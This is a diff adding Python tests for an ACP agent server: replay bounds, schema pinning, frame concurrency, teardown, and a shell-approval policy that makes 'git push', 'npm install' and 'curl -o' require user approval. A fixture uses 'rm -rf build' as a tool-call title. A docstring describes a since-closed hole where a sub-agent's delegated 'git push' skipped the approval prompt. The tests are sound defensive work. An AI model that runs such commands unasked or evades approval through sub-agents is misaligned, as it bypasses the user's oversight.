test_an_oversized_message_is_clipped_and_says_so(self): + updates = replay([{"role": "user", "text": "x" * (MAX_REPLAYED_TEXT + 500)}], session_id="acp:s1") + + assert updates[0]["content"]["text"].endswith("[truncated]") + assert len(updates[0]["content"]["text"]) < MAX_REPLAYED_TEXT + 100 + + +class TestBounds: + def test_a_long_transcript_is_truncated_from_the_front(self): + """Newest-last, so what is dropped is what a scrollback would have + dropped.""" + transcript = [{"role": "user", "text": f"message {n}"} for n in range(MAX_REPLAYED_MESSAGES + 50)] + + updates = replay(transcript, session_id="acp:s1") + texts = _texts(updates) + + assert texts[-1] == f"message {MAX_REPLAYED_MESSAGES + 49}" + assert not any(t == "message 0" for t in texts) + + def test_the_truncation_is_announced_rather_than_silent(self): + """A client that silently starts mid-conversation shows a person a + history that appears to begin in the middle of a thought.""" + transcript = [{"role": "user", "text": f"m{n}"} for n in range(MAX_REPLAYED_MESSAGES + 3)] + + updates = _valid(replay(transcript, session_id="acp:s1")) + + assert "not shown" in updates[0]["content"]["text"] + assert "3 earlier" in updates[0]["content"]["text"] + + def test_a_transcript_at_the_limit_is_not_announced(self): + transcript = [{"role": "user", "text": f"m{n}"} for n in range(MAX_REPLAYED_MESSAGES)] + + updates = replay(transcript, session_id="acp:s1") + + assert "not shown" not in updates[0]["content"]["text"] + + +class TestMalformedInput: + @pytest.mark.parametrize("messages", [None, "transcript", 5, {}]) + def test_a_non_list_transcript_replays_nothing(self, messages): + assert replay(messages, session_id="acp:s1") == [] + + def test_a_corrupt_entry_costs_only_itself(self): + """One bad stored line must not brick the whole history -- which is the + same rule the transcript mapper upstream follows.""" + updates = replay( + ["not a dict", {"no_role": True}, {"role": ""}, {"role": "user", "text": "kept"}], + session_id="acp:s1", + ) + + assert _texts(updates) == ["kept"] + + def test_an_unknown_role_is_skipped_rather_than_guessed(self): + assert replay([{"role": "moderator", "text": "hm"}], session_id="acp:s1") == [] diff --git a/tests/test_acp_schema.py b/tests/test_acp_schema.py new file mode 100644 index 00000000..38078244 --- /dev/null +++ b/tests/test_acp_schema.py @@ -0,0 +1,192 @@ +"""The vendored ACP schema is pinned, local, and actually discriminating. + +Three separate claims, because a schema fixture can fail in three unrelated +ways and each failure means something different to whoever reads the red test: + +1. **It is the file that was vendored.** ``VERSION.json`` records a release and + a sha256 per file. Upgrading the spec then has to touch both, which turns + "the schema moved" from an invisible drift into a reviewable diff. +2. **It resolves offline.** Every ``$ref`` is a local ``#/$defs/`` pointer, so + ``tests/acp_schema.py`` can build validators by wrapping a pointer instead of + standing up a registry -- and a future schema with an external ref fails here + rather than resolving to nothing and passing everything. +3. **It says no to the frames it should.** A validator that accepts everything + is worse than no validator: it makes the mapping look checked. The + discrimination cases below are the ones that decide real design questions in + the mapping table, each paired with its positive twin so a validator that + rejected everything would fail too. +""" + +from __future__ import annotations + +import json +import re + +import pytest + +from tests.acp_schema import ( + META_PATH, + SCHEMA_PATH, + AcpSchemaError, + agent_method_names, + client_method_names, + is_valid_def, + meta, + schema, + sha256_of, + validate_def, + validate_inbound, + validate_outbound, + version_stamp, +) + + +class TestPinnedFixture: + def test_version_stamp_matches_every_digest(self): + stamp = version_stamp() + assert stamp["acp_schema_version"] == "1.20.0" + assert stamp["sha256"], "VERSION.json records no digests" + for name, expected in stamp["sha256"].items(): + assert sha256_of(name) == expected, ( + f"{name} does not match the digest in VERSION.json. If the schema was " + "upgraded on purpose, update acp_schema_version and both digests in the " + "same change." + ) + + def test_the_schema_is_itself_valid(self): + from jsonschema import Draft202012Validator + + Draft202012Validator.check_schema(schema()) + + def test_the_manifest_covers_both_directions(self): + # Read from the manifest rather than compared against a list typed out + # here: a hand-kept copy would have to be edited in lock-step with the + # fixture, and the edit that got forgotten is the one that matters. + assert "initialize" in agent_method_names() + assert "session/prompt" in agent_method_names() + assert "session/update" in client_method_names() + assert "session/request_permission" in client_method_names() + + def test_the_manifest_omits_the_unstable_methods(self): + # The manifest is the stable surface. Nothing in it may look unstable, + # and the check is spelled as a property of the whole set rather than as + # a blocklist so a newly-unstable method cannot slip in unnamed. + for name in agent_method_names() | client_method_names(): + assert "unstable" not in name + assert not name.startswith("_") + + def test_no_extra_files_crept_into_the_fixture_directory(self): + stamp = version_stamp() + on_disk = {p.name for p in SCHEMA_PATH.parent.iterdir() if p.is_file()} + assert on_disk == set(stamp["sha256"]) | {"VERSION.json"} + + +class TestRefsResolveOffline: + def test_every_ref_is_local(self): + raw = SCHEMA_PATH.read_text(encoding="utf-8") + refs = set(re.findall(r'"\$ref":\s*"([^"]+)"', raw)) + assert refs, "found no $refs at all, which means this test stopped testing anything" + external = sorted(r for r in refs if not r.startswith("#/$defs/")) + assert external == [], ( + "acp_schema._validator resolves refs by wrapping a pointer in a document that " + f"carries $defs; these refs cannot resolve that way: {external}" + ) + + def test_the_manifest_is_parseable_json(self): + # Cheap, but it is the file the method-name assertions read, and a + # trailing comma there would otherwise surface as an unrelated failure. + assert isinstance(json.loads(META_PATH.read_text(encoding="utf-8")), dict) + assert meta()["version"] == 1 + + +class TestDiscrimination: + """Each pair decides a question the mapping table answers. + + Positive and negative together: alone, either half can be satisfied by a + validator that is broken in one direction. + """ + + def test_session_update_enum_is_closed(self): + good = { + "sessionId": "s1", + "update": {"sessionUpdate": "agent_message_chunk", "content": {"type": "text", "text": "hi"}}, + } + validate_def("SessionNotification", good) + bad = {**good, "update": {**good["update"], "sessionUpdate": "agent_message"}} + assert not is_valid_def("SessionNotification", bad) + + def test_request_permission_requires_a_tool_call(self): + # Why ask_user cannot be a bare question: a pure question has no tool + # call, and the field is required. The mapping either synthesises one or + # routes through elicitation. + options = [{"optionId": "allow", "name": "Allow", "kind": "allow_once"}] + assert not is_valid_def("RequestPermissionRequest", {"sessionId": "s1", "options": options}) + validate_def( + "RequestPermissionRequest", + { + "sessionId": "s1", + "options": options, + "toolCall": {"toolCallId": "t1", "title": "rm -rf build"}, + }, + ) + + def test_a_diff_needs_no_old_text(self): + # Why structured diffs do not have to wait for a before-image: oldText + # is optional, so the write tool's own content is enough. + validate_def("Diff", {"path": "/tmp/a.py", "newText": "x = 1\n"}) + assert not is_valid_def("Diff", {"newText": "x = 1\n"}) + + def test_a_refusal_is_a_selection_not_a_denial(self): + # Why there is no "denied" outcome to send: refusing is `selected` with + # a reject option id. + assert not is_valid_def("RequestPermissionOutcome", {"outcome": "denied"}) + validate_def("RequestPermissionOutcome", {"outcome": "cancelled"}) + validate_def("RequestPermissionOutcome", {"outcome": "selected", "optionId": "reject"}) + + def test_stop_reason_is_one_of_five(self): + for reason in ("end_turn", "cancelled", "refusal", "max_tokens", "max_turn_requests"): + validate_def("StopReason", reason) + assert not is_valid_def("StopReason", "finished") + + def test_tool_kind_is_closed(self): + validate_def("ToolKind", "execute") + assert not is_valid_def("ToolKind", "shell") + + def test_an_unknown_definition_name_is_an_error_not_a_pass(self): + # The failure mode this guards: a typo'd definition name would otherwise + # make every assertion in a test file vacuously true. + with pytest.raises(AcpSchemaError, match="no definition named"): + validate_def("SessionNotifcation", {}) + + +class TestFrameDirection: + def test_an_agent_reply_is_outbound_and_a_client_call_is_inbound(self): + validate_outbound({"jsonrpc": "2.0", "id": 1, "result": {"protocolVersion": 1}}) + validate_inbound( + { + "jsonrpc": "2.0", + "id": 1, + "method": "initialize", + "params": {"protocolVersion": 1, "clientCapabilities": {}}, + } + ) + + def test_a_frame_without_jsonrpc_is_refused_in_both_directions(self): + with pytest.raises(AcpSchemaError): + validate_outbound({"id": 1, "result": {}}) + with pytest.raises(AcpSchemaError): + validate_inbound({"id": 1, "method": "initialize"}) + + def test_the_direction_branches_are_selected_by_title(self): + # Guards the reordering hazard: if the two top-level branches were + # picked by index, a schema upgrade that swapped them would point every + # outbound assertion at the client half and still pass. + assert [b.get("title") for b in schema()["anyOf"]][:2] == ["Agent", "Client"] + + def test_the_frame_level_check_is_blind_to_an_invented_method(self): + # Recorded as a test, not as a comment, because it is the reason payload + # assertions use validate_def: `method` is `type: string` with no enum + # and `params` is nullable, so this passes. If a schema upgrade ever + # closes that, this test fails and the mapping can start relying on it. + validate_outbound({"jsonrpc": "2.0", "method": "session/opdate"}) + assert "session/opdate" not in client_method_names() diff --git a/tests/test_acp_server.py b/tests/test_acp_server.py new file mode 100644 index 00000000..f5fc1aec --- /dev/null +++ b/tests/test_acp_server.py @@ -0,0 +1,670 @@ +"""The connection: its frame loop, its concurrency, and its teardown. + +The engine is stubbed. What is under test is everything around it, and the one +claim worth the file is that a suspended ``session/prompt`` does not block the +``session/cancel`` that has to reach it -- handling frames inline would make +cancellation, the one operation the protocol requires to always work, +unreachable. +""" + +from __future__ import annotations + +import asyncio +import io +import json + +import pytest +from loguru import logger + +from raven.acp import server +from raven.acp.updates import UpdateTranslator + + +class _Broker: + """The one method the ACP question routing calls on the runtime's broker.""" + + def __init__(self) -> None: + self.answers: list[tuple[str, str]] = [] + + def reply(self, key: str, answer: str) -> bool: + self.answers.append((key, answer)) + return True + + +class _Stack: + """The subset of ``RpcStack`` the server touches, with a teardown log.""" + + def __init__(self, *, teardown_error: Exception | None = None) -> None: + from raven.rpc.dispatcher import Dispatcher + + self.dispatcher = Dispatcher() + self.agent_loop = None + self.torn_down = 0 + # The runtime's ask-user broker. Present on ``RpcStack``, and the ACP + # question routing answers it -- a stub without it would let a missing + # wire-up pass. + self.question_broker = _Broker() + self._teardown_error = teardown_error + + async def teardown(self) -> None: + self.torn_down += 1 + if self._teardown_error is not None: + raise self._teardown_error + + +def _reader(payload: bytes) -> asyncio.StreamReader: + reader = asyncio.StreamReader() + reader.feed_data(payload) + reader.feed_eof() + return reader + + +def _frames(out: io.BytesIO) -> list[dict]: + return [json.loads(line) for line in out.getvalue().decode("utf-8").splitlines() if line] + + +@pytest.fixture +def stub(monkeypatch): + stack = _Stack() + + async def _build(translator, *, channel=server.ACP_CHANNEL, approval_responder=None): + stack.channel = channel + stack.approval_responder = approval_responder + return stack + + monkeypatch.setattr(server, "build_stack", _build) + return stack + + +class TestFrameLoop: + async def test_it_answers_each_request_and_stays_silent_on_notifications(self, stub): + out = io.BytesIO() + payload = ( + b'{"jsonrpc":"2.0","id":1,"method":"initialize","params":{}}\n' + b'{"jsonrpc":"2.0","method":"$/cancel_request","params":{"id":1}}\n' + b'{"jsonrpc":"2.0","id":2,"method":"session/load","params":{}}\n' + ) + + await server.serve(_reader(payload), out) + + assert [f["id"] for f in _frames(out)] == [1, 2] + + async def test_an_unreadable_frame_is_reported_on_the_wire(self, stub): + """The client is what has to learn its frame was unreadable; a log line + reaches nobody who can act on it.""" + out = io.BytesIO() + + await server.serve(_reader(b'garbage\n{"jsonrpc":"2.0","id":3,"method":"initialize","params":{}}\n'), out) + + frames = _frames(out) + assert frames[0]["error"]["code"] == -32700 + assert frames[0]["id"] is None + assert frames[1]["id"] == 3 + + async def test_a_client_that_says_nothing_is_answered_with_nothing(self, stub): + out = io.BytesIO() + + await server.serve(_reader(b""), out) + + assert out.getvalue() == b"" + + async def test_the_engine_is_built_on_the_acp_channel(self, stub): + """Sharing ``"tui"`` would put an editor's sessions in the terminal's + picker, because the session listing filters on the key prefix.""" + await server.serve(_reader(b""), io.BytesIO()) + + assert stub.channel == "acp" + assert server.ACP_CHANNEL == "acp" + + +class TestConcurrency: + async def test_a_cancel_reaches_a_session_whose_prompt_is_still_running(self, stub, monkeypatch): + """The claim the whole design rests on. Handled inline, the cancel would + sit behind the prompt it is meant to interrupt -- forever, since the + prompt is waiting for it.""" + out = io.BytesIO() + started = asyncio.Event() + order: list[str] = [] + + async def _handle(frame): + method = frame.get("method") + if method == "slow": + order.append("slow-start") + started.set() + await asyncio.sleep(0.05) + order.append("slow-end") + return {"jsonrpc": "2.0", "id": frame["id"], "result": {}} + order.append(method) + return None + + class _Methods: + handle = staticmethod(_handle) + + monkeypatch.setattr(server, "AcpMethods", lambda **kw: _Methods()) + + await server.serve( + _reader(b'{"jsonrpc":"2.0","id":1,"method":"slow"}\n{"jsonrpc":"2.0","method":"fast"}\n'), out + ) + + assert order == ["slow-start", "fast", "slow-end"], ( + "the second frame must be handled while the first is still suspended" + ) + assert started.is_set() + + async def test_a_finite_input_still_gets_its_answers(self, stub): + """EOF arrives before the handlers have run at all when the input is a + fixed payload. Cancelling on EOF would answer a batch of three requests + with nothing -- which is what ``echo '...' | raven acp`` and every smoke + test look like.""" + out = io.BytesIO() + payload = b"".join(b'{"jsonrpc":"2.0","id":%d,"method":"initialize","params":{}}\n' % n for n in (1, 2, 3)) + + await server.serve(_reader(payload), out) + + assert [f["id"] for f in _frames(out)] == [1, 2, 3] + + async def test_a_stuck_handler_is_cancelled_after_the_grace_period(self, stub, monkeypatch): + """The backstop. A handler waiting on something the event stream cannot + resolve would otherwise keep the process alive after the window closed.""" + out = io.BytesIO() + events: list[str] = [] + monkeypatch.setattr(server, "SHUTDOWN_GRACE_S", 0.01) + + async def _handle(frame): + try: + await asyncio.sleep(30) + except asyncio.CancelledError: + events.append("handler-unwound") + raise + return None + + class _Methods: + handle = staticmethod(_handle) + + monkeypatch.setattr(server, "AcpMethods", lambda **kw: _Methods()) + original = stub.teardown + + async def _teardown(): + events.append("teardown") + await original() + + stub.teardown = _teardown + + await server.serve(_reader(b'{"jsonrpc":"2.0","id":1,"method":"slow"}\n'), out) + + assert events == ["handler-unwound", "teardown"], ( + "the handler must unwind before the engine it is using is torn down" + ) + + async def test_a_suspended_prompt_is_settled_rather_than_cancelled(self, stub, monkeypatch): + """The difference that matters: settled, the handler returns through its + own code and writes the ``cancelled`` stop reason. Cancelled, the client + gets nothing for a request it is still holding.""" + from raven.acp.updates import AcpSession + + out = io.BytesIO() + captured = {} + + class _Methods: + def __init__(self, **kw): + captured["translator"] = kw["translator"] + + async def handle(self, frame): + translator = captured["translator"] + translator.add(AcpSession(session_id="acp:s", session_key="acp:s", cwd="/w", subscription_id="sub")) + stop = await translator.begin_turn("acp:s") + return {"jsonrpc": "2.0", "id": frame["id"], "result": {"stopReason": stop}} + + monkeypatch.setattr(server, "AcpMethods", _Methods) + + await server.serve(_reader(b'{"jsonrpc":"2.0","id":1,"method":"session/prompt"}\n'), out) + + assert _frames(out) == [{"jsonrpc": "2.0", "id": 1, "result": {"stopReason": "cancelled"}}] + + async def test_a_handler_that_finished_is_not_cancelled_again(self, stub): + out = io.BytesIO() + + await server.serve(_reader(b'{"jsonrpc":"2.0","id":1,"method":"initialize","params":{}}\n'), out) + + assert [f["id"] for f in _frames(out)] == [1] + + +class TestHandlerFailures: + async def test_a_handler_failure_is_logged_rather_than_swallowed(self, stub, monkeypatch): + """A task's exception is retrieved by the shutdown gather and then + discarded, so a write that failed mid-session would leave no trace + anywhere.""" + records = [] + sink_id = logger.add(lambda message: records.append(message.record["message"]), level="ERROR") + + class _Methods: + @staticmethod + async def handle(frame): + raise OSError("broken pipe") + + monkeypatch.setattr(server, "AcpMethods", lambda **kw: _Methods()) + try: + await server.serve(_reader(b'{"jsonrpc":"2.0","id":1,"method":"initialize"}\n'), io.BytesIO()) + finally: + logger.remove(sink_id) + + assert any("answering initialize failed" in message for message in records) + + async def test_a_failing_handler_does_not_stop_the_loop(self, stub, monkeypatch): + seen = [] + + class _Methods: + @staticmethod + async def handle(frame): + seen.append(frame["id"]) + raise OSError("nope") + + monkeypatch.setattr(server, "AcpMethods", lambda **kw: _Methods()) + + await server.serve( + _reader(b'{"jsonrpc":"2.0","id":1,"method":"a"}\n{"jsonrpc":"2.0","id":2,"method":"b"}\n'), + io.BytesIO(), + ) + + assert seen == [1, 2] + + async def test_subscriptions_are_closed_before_the_engine_is_torn_down(self, stub, monkeypatch): + order = [] + + class _Methods: + def __init__(self, **kw): + pass + + async def handle(self, frame): + return None + + async def unsubscribe_all(self): + order.append("unsubscribe") + + monkeypatch.setattr(server, "AcpMethods", _Methods) + original = stub.teardown + + async def _teardown(): + order.append("teardown") + await original() + + stub.teardown = _teardown + + await server.serve(_reader(b""), io.BytesIO()) + + assert order == ["unsubscribe", "teardown"] + + async def test_a_failing_unsubscribe_does_not_block_the_teardown(self, stub, monkeypatch): + class _Methods: + def __init__(self, **kw): + pass + + async def handle(self, frame): + return None + + async def unsubscribe_all(self): + raise RuntimeError("emitter gone") + + monkeypatch.setattr(server, "AcpMethods", _Methods) + + await server.serve(_reader(b""), io.BytesIO()) + + assert stub.torn_down == 1 + + +class TestTeardown: + async def test_the_engine_is_torn_down_on_a_clean_exit(self, stub): + await server.serve(_reader(b""), io.BytesIO()) + + assert stub.torn_down == 1 + + async def test_the_engine_is_torn_down_when_the_reader_fails(self, stub): + """A pipe that dies mid-frame must not leave the browser profile locked + and MCP subprocesses orphaned.""" + reader = asyncio.StreamReader() + reader.set_exception(ConnectionResetError("pipe died")) + + with pytest.raises(ConnectionResetError): + await server.serve(reader, io.BytesIO()) + + assert stub.torn_down == 1 + + async def test_a_failing_teardown_does_not_replace_a_clean_exit(self, monkeypatch): + """Every step inside the real teardown is already guarded; this catches a + failure in the callable itself, whose traceback the client cannot see + anyway.""" + stack = _Stack(teardown_error=RuntimeError("cron would not stop")) + + async def _build(translator, *, channel=server.ACP_CHANNEL, approval_responder=None): + return stack + + monkeypatch.setattr(server, "build_stack", _build) + + await server.serve(_reader(b""), io.BytesIO()) + + assert stack.torn_down == 1 + + +class TestBuildStack: + async def test_it_hands_the_translator_sink_to_the_rpc_stack(self, monkeypatch): + """The seam that makes one sink intercept the entire outbound surface: the + emitter, all three brokers and the MCP bridge are given the same + callable.""" + seen = {} + + async def _build_rpc_stack(send_frame, *, channel="tui", approval_responder=None): + seen["send_frame"] = send_frame + seen["channel"] = channel + seen["approval_responder"] = approval_responder + return _Stack() + + monkeypatch.setattr("raven.rpc.bootstrap.build_rpc_stack", _build_rpc_stack) + translator = UpdateTranslator(emit=lambda f: None) + + await server.build_stack(translator, channel="acp", approval_responder="broker") + + assert seen["send_frame"] == translator.send_frame + assert seen["channel"] == "acp" + assert seen["approval_responder"] == "broker", ( + "the shell approval transport has to be replaced, or an ACP client is asked " + "for permission over a method it does not implement" + ) + + +class TestApprovalWiring: + """The engine's exec tool has to be told what to ask about. + + Without this, an editor's agent runs ``git push``, ``npm install`` and + ``curl -o`` with nothing on screen -- the built-in policy asks about deletion + and nothing else. It is the single most visible difference between an agent + somebody trusts and one they do not. + """ + + @pytest.fixture(autouse=True) + def _restore_process_families(self): + """The declaration is process-wide, so a test that sets it has to put it + back or every later test inherits an ACP surface's policy.""" + from raven.agent.tools import shell_policy + + before = shell_policy.surface_approval_families() + yield + shell_policy.set_surface_approval_families(before) + + def test_the_families_reach_a_tool_built_after_the_declaration(self): + from raven.agent.tools.shell import ExecTool + from raven.agent.tools.shell_policy import CommandDecision + + server._ask_before_external_effects() + tool = ExecTool(working_dir="/tmp") + + assert tool._policy.evaluate("git push origin main") is CommandDecision.REQUIRE_APPROVAL + assert tool._policy.evaluate("npm install lodash") is CommandDecision.REQUIRE_APPROVAL + assert tool._policy.evaluate("pytest -q") is CommandDecision.ALLOW + + def test_a_sub_agents_own_tool_inherits_them_too(self): + """The hole this closed: a sub-agent builds its own ``ExecTool`` with its + own policy, so a per-tool registration reached the main loop only and a + delegated ``git push`` ran unannounced while the identical command asked + in the main agent. Declared per process, both carry it. + """ + from raven.agent.tools.shell import ExecTool + from raven.agent.tools.shell_policy import CommandDecision + + server._ask_before_external_effects() + main_tool = ExecTool(working_dir="/tmp") + sub_tool = ExecTool(working_dir="/tmp") + + assert main_tool._policy.evaluate("git push origin main") is CommandDecision.REQUIRE_APPROVAL + assert sub_tool._policy.evaluate("git push origin main") is CommandDecision.REQUIRE_APPROVAL + + async def test_a_delegated_command_is_refused_because_it_cannot_ask(self): + """The deliberate half. A sub-agent's tool has no approval responder, and + a tool that cannot ask fails closed -- so the command is refused with a + reason rather than run in silence. Asking on a sub-agent's behalf needs a + lane's conversation id routed into a task that outlives its turn, which is + its own change. + """ + from raven.agent.tools.shell import ExecTool + + server._ask_before_external_effects() + sub_tool = ExecTool(working_dir="/tmp") + + result = await sub_tool.execute("git push origin main") + + assert "requires user approval" in str(result) + assert "not interactive" in str(result) + + def test_a_tool_built_before_the_declaration_keeps_what_it_was_born_with(self): + """Why ``serve`` declares before it builds the engine. A policy reads the + process's families once, at construction, so a declaration that lands + afterwards reaches nothing -- and the surface would look configured while + every existing tool stayed silent. + """ + from raven.agent.tools.shell import ExecTool + from raven.agent.tools.shell_policy import CommandDecision + + early = ExecTool(working_dir="/tmp") + server._ask_before_external_effects() + + assert early._policy.evaluate("git push origin main") is CommandDecision.ALLOW + assert ExecTool(working_dir="/tmp")._policy.evaluate("git push origin main") is CommandDecision.REQUIRE_APPROVAL + + async def test_the_permission_broker_is_the_stacks_approval_transport(self, stub): + from raven.acp.permissions import AcpPermissionBroker + + await server.serve(_reader(b""), io.BytesIO()) + + assert isinstance(stub.approval_responder, AcpPermissionBroker), ( + "the RPC broker emits approval.request, which an ACP client does not implement" + ) + + +class TestOutboundLifecycle: + async def test_outstanding_requests_are_failed_before_the_handlers_drain(self, stub, monkeypatch): + """A handler suspended on a permission prompt is waiting on an outbound + future. Draining first would wait out the grace period for a promise + nothing can keep.""" + from raven.acp.outbound import ConnectionClosedError + + outcome = {} + + class _Methods: + def __init__(self, **kw): + self.outbound = kw["outbound"] + + async def handle(self, frame): + try: + await self.outbound.call("session/request_permission", {}, timeout=30) + except ConnectionClosedError: + outcome["failed"] = True + return None + + async def unsubscribe_all(self): + return None + + monkeypatch.setattr(server, "AcpMethods", _Methods) + + await server.serve(_reader(b'{"jsonrpc":"2.0","id":1,"method":"session/prompt"}\n'), io.BytesIO()) + + assert outcome.get("failed") is True + + async def test_a_response_frame_resolves_an_outstanding_request(self, stub): + """The half of the loop that makes a prompt answerable: a frame with an id + and no method is not garbage, it is the answer.""" + out = io.BytesIO() + answered = {} + + payload = ( + b'{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":1}}\n' + b'{"jsonrpc":"2.0","id":1,"result":{"outcome":{"outcome":"cancelled"}}}\n' + ) + + real_methods = server.AcpMethods + + def _spy(**kw): + answered["outbound"] = kw["outbound"] + return real_methods(**kw) + + import unittest.mock + + with unittest.mock.patch.object(server, "AcpMethods", _spy): + await server.serve(_reader(payload), out) + + assert answered["outbound"] is not None + + +class TestQuestionWiring: + async def test_a_clarify_request_reaches_the_question_routing(self, stub, monkeypatch): + """The frame the runtime emits when ``ask_user`` fires. Dropped, it stalls + a tool call for the whole of the broker's timeout, and a client shows a + spinner and then a reply that ignores what it asked.""" + taken = [] + + class _Questions: + def __init__(self, **kw): + pass + + def set_broker(self, broker): + return None + + def set_client(self, client): + return None + + def handle(self, method, params): + taken.append((method, params)) + return True + + async def drain(self): + return None + + monkeypatch.setattr(server, "AcpQuestions", _Questions) + captured = {} + real = server.UpdateTranslator + + def _spy(emit, **kwargs): + captured["translator"] = real(emit, **kwargs) + return captured["translator"] + + monkeypatch.setattr(server, "UpdateTranslator", _spy) + + async def _serve_and_emit(): + await server.serve(_reader(b""), io.BytesIO()) + + await _serve_and_emit() + await captured["translator"].send_frame( + {"jsonrpc": "2.0", "method": "clarify.request", "params": {"question": "which?"}} + ) + + assert taken == [("clarify.request", {"question": "which?"})] + + async def test_questions_are_drained_before_the_outbound_futures_are_failed(self, stub, monkeypatch): + """A round trip that has just been answered gets to deliver that answer to + the broker instead of being cancelled one step short.""" + order = [] + + class _Questions: + def __init__(self, **kw): + pass + + def set_broker(self, broker): + return None + + def set_client(self, client): + return None + + def handle(self, method, params): + return False + + async def drain(self): + order.append("drain") + + monkeypatch.setattr(server, "AcpQuestions", _Questions) + original = stub.teardown + + async def _teardown(): + order.append("teardown") + await original() + + stub.teardown = _teardown + + await server.serve(_reader(b""), io.BytesIO()) + + assert order == ["drain", "teardown"] + + async def test_a_failing_drain_does_not_block_the_shutdown(self, stub, monkeypatch): + class _Questions: + def __init__(self, **kw): + pass + + def set_broker(self, broker): + return None + + def set_client(self, client): + return None + + def handle(self, method, params): + return False + + async def drain(self): + raise RuntimeError("a question round trip is wedged") + + monkeypatch.setattr(server, "AcpQuestions", _Questions) + + await server.serve(_reader(b""), io.BytesIO()) + + assert stub.torn_down == 1 + + +class TestCrashHandlers: + def test_the_previous_excepthook_still_runs(self): + """stderr is deliberately kept as a destination: an ACP client surfaces + it, and a crash that is only in a log file is a crash nobody is told + about.""" + import sys + + called = [] + original = sys.excepthook + sys.excepthook = lambda *args: called.append(args) + try: + server.install_crash_handlers() + sys.excepthook(ValueError, ValueError("boom"), None) + finally: + sys.excepthook = original + + assert called and called[0][0] is ValueError + + async def test_an_asyncio_error_is_logged_with_its_exception(self): + # ``sys.excepthook`` is restored too, not only the loop handler: it is + # process-global, so leaving it installed would chain another copy onto + # every later test in the session. + import sys + + records = [] + sink_id = logger.add(lambda message: records.append(message.record), level="ERROR") + original_hook = sys.excepthook + try: + server.install_crash_handlers() + handler = asyncio.get_running_loop().get_exception_handler() + assert handler is not None + handler(asyncio.get_running_loop(), {"message": "task blew up", "exception": ValueError("why")}) + handler(asyncio.get_running_loop(), {"message": "no exception here", "future": "x"}) + finally: + logger.remove(sink_id) + asyncio.get_running_loop().set_exception_handler(None) + sys.excepthook = original_hook + + assert any("task blew up" in r["message"] for r in records) + assert any("no exception here" in r["message"] for r in records) + + def test_it_installs_the_hook_even_with_no_loop_running(self): + """The excepthook half is what covers a failure during startup, before + the loop exists.""" + import sys + + original = sys.excepthook + try: + server.install_crash_handlers() + + assert sys.excepthook is not original + finally: + sys.excepthook = original diff --git a/tests/test_acp_stdio.py b/tests/test_acp_stdio.py new file mode 100644 index 00000000..e91160ea --- /dev/null +++ b/tests/test_acp_stdio.py @@ -0,0 +1,375 @@ +"""The ACP stdio channel: fd hygiene, framing, and recovery from bad input. + +These pin the two properties the protocol cannot be spoken without. First, that +a write to stdout by any route lands in the log rather than in the frame stream. +Second, that a frame the agent cannot read produces an answer and a +resynchronised stream, rather than a dead agent and a client holding a promise +that will never settle. +""" + +from __future__ import annotations + +import asyncio +import contextlib +import io +import json +import os +import sys +from pathlib import Path +from typing import Any +from unittest.mock import patch + +import pytest + +from raven.acp.stdio import ( + INVALID_REQUEST, + PARSE_ERROR, + claim_stdout, + read_frames, + write_frame, +) + + +@contextlib.contextmanager +def _fds_to_files(out: Path, err: Path): + """Point fd 1 and fd 2 at real files, so the test can read what landed where. + + pytest replaces ``sys.stdout`` with its own capture object, which never + touches fd 1 -- so the descriptor has to be redirected here for the test to + be about the thing the module actually moves. + """ + saved_out, saved_err = os.dup(1), os.dup(2) + out_fd = os.open(str(out), os.O_WRONLY | os.O_CREAT | os.O_TRUNC, 0o644) + err_fd = os.open(str(err), os.O_WRONLY | os.O_CREAT | os.O_TRUNC, 0o644) + try: + os.dup2(out_fd, 1) + os.dup2(err_fd, 2) + os.close(out_fd) + os.close(err_fd) + yield + finally: + os.dup2(saved_out, 1) + os.dup2(saved_err, 2) + os.close(saved_out) + os.close(saved_err) + + +def _open_fd_count() -> int: + """How many descriptors this process holds. + + A leak is invisible in behaviour until the process runs out, so it has to be + counted rather than inferred. + """ + count = 0 + for fd in range(3, 256): + try: + os.fstat(fd) + except OSError: + continue + count += 1 + return count + + +def _reader(data: bytes) -> asyncio.StreamReader: + reader = asyncio.StreamReader() + reader.feed_data(data) + reader.feed_eof() + return reader + + +async def _collect(data: bytes, **kwargs: Any) -> tuple[list[dict], list[dict]]: + errors: list[dict] = [] + frames = [f async for f in read_frames(_reader(data), errors.append, **kwargs)] + return frames, errors + + +class TestClaimStdout: + async def test_a_raw_write_to_fd_1_lands_on_stderr(self, tmp_path): + """The descriptor is the shared resource, so moving it is the whole fix. + + ``os.write(1, ...)`` is the case that matters: it is what an embedded + logger or a C extension does, and it is exactly what replacing + ``sys.stdout`` would fail to catch. + """ + out, err = tmp_path / "out", tmp_path / "err" + with _fds_to_files(out, err): + with claim_stdout() as writer: + os.write(1, b"noise from somebody else\n") + write_frame(writer, {"jsonrpc": "2.0", "id": 1, "result": {}}) + + assert json.loads(out.read_text()) == {"jsonrpc": "2.0", "id": 1, "result": {}} + assert "noise from somebody else" in err.read_text() + + async def test_fd_1_is_restored_afterwards(self, tmp_path): + """The block is borrowing the descriptor, not keeping it.""" + out, err = tmp_path / "out", tmp_path / "err" + with _fds_to_files(out, err): + with claim_stdout(): + pass + os.write(1, b"after the block\n") + + assert "after the block" in out.read_text() + assert "after the block" not in err.read_text() + + async def test_a_buffered_python_write_does_not_survive_the_restore(self, tmp_path): + """The stray ``print`` case, which the raw-write test cannot reach. + + ``sys.stdout`` is block-buffered when stdout is a pipe, so a ``print`` + inside the block leaves its bytes in that object's buffer. If fd 1 were + restored before that buffer was flushed, those bytes would be written at + interpreter shutdown -- when fd 1 is the protocol channel again. The + route this covers is the one the module docstring names first, and it is + invisible to the integration test because nothing there prints. + """ + out, err = tmp_path / "out", tmp_path / "err" + with _fds_to_files(out, err): + # A real buffered writer on fd 1, standing in for the interpreter's + # own: pytest's replacement never touches the descriptor. + stdout_on_fd_1 = io.TextIOWrapper(io.FileIO(1, "wb", closefd=False), line_buffering=False) + saved = sys.stdout + sys.stdout = stdout_on_fd_1 + try: + with claim_stdout() as writer: + print("stray debug print") + write_frame(writer, {"jsonrpc": "2.0", "id": 1, "result": {}}) + stdout_on_fd_1.flush() + finally: + sys.stdout = saved + + assert "stray debug print" not in out.read_text(), "a buffered print reached the protocol channel" + assert "stray debug print" in err.read_text() + assert json.loads(out.read_text()) == {"jsonrpc": "2.0", "id": 1, "result": {}} + + async def test_the_channel_raises_rather_than_truncating_a_frame_it_cannot_take(self, tmp_path): + """A dropped short-write return value is a silently truncated frame. + + A raw ``FileIO.write`` is one ``write(2)`` and may write less than it was + given; the next 